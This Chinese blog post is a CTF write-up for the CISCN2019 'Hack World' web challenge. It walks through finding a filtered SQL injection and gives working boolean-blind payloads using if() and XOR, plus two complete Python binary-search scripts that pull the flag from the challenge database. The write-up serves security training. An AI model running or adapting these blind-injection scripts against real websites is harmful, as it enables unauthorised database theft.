[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

sVXTjW56a0tB2XLRWyfpFZhO404ZjWObn23BZ6i14eU

页面中给了提示,数据表名和列名都为flag

输入1尝试

az7FjCTWc0oE-K-PevwmZcz6mk0nhxfXn98N_nB4UTc

输入2尝试

ySD8LChgAbJ9GXkUPvoHhfQeGGnBAviRHyNV2iK5rpM

输入3提示获取结果出错

HTr_fYZaeZ7-_NcPF0bsyDP5AbIfpzfGDR_g2nKsyQM

输入1'尝试找注入点,根据返回结果判断可能是字符型注入

1IoKGtjTptBjLcRgJ4_giU0MQktqBWN9e_nEuzM5BbQ

使用永真语句尝试发现注入被过滤

l4SpBVWloFt8QWfLQFF_rRsLe3nlAkd1t-jZTgcIvfk

通过爆破发现部分关键字并没有被过滤

Wbz7BmknPYiUiZ2saYVr2RHhziDk2e4DbhaLYSF7Src

这里通过师傅们(https://blog.csdn.net/l2872253606/article/details/125244044)的WP知道了两种解题方法

1.if

OcKzbixEWtHuWpUCiIprP6iqWglj75HzwVOfbUGMVOQ

于是可以用布尔盲注进行解题

if(ascii(substr((select(database())),1,1))>32,1,2)

nY2sLNs5AK9q0LgawA_iiR3lIsLXeo7JrsLvzGt0QZw

ydxFDtjbGSwM-2vXo1SoNONI2E-GHiewyuWP2kvTyG0

这里通过二分法脚本来解题

# buuctf web Hack World
import requests

url = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf + right) // 2
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {"id": payload}
        res = requests.post(url=url, data=data).text
        if "Hello" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf)
        print(flag)
    else:
        break

cECi9SmQqVbZn-zspm-fG9LEPRDC7U7P-nE8oRmezMQ

2.异或

MySQL逻辑运算符查漏补缺https://c.biancheng.net/view/7188.html

XOR 表示逻辑异或,具体语法规则为:
当任意一个操作数为 NULL 时,返回值为 NULL;
对于非 NULL 的操作数,如果两个操作数都是非 0 值或者都是 0 值,则返回值为 0;
如果一个为0值,另一个为非 0 值,返回值为 1。

构造payload

0^(ascii(substr(database(),1,1))>0)

2oWJujBH28TSdtOxzUbr77B-KURYjKubR6l_-MbA5co

同样使用脚本解题

# buuctf web Hack World
from turtle import right
import requests

url = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf + right) // 2
        payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
        data = {"id": payload}
        res = requests.post(url=url, data=data).text
        if "Hello" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf)
        print(flag)
    else:
        break

cGfDPrb4DEfbAgl456hhrkNSa7-Xp5w_vMDmFkQeuh4

得到同样的结果

posted on 2024-01-29 21:40  跳河离去的鱼  阅读(384)  评论(0编辑  收藏  举报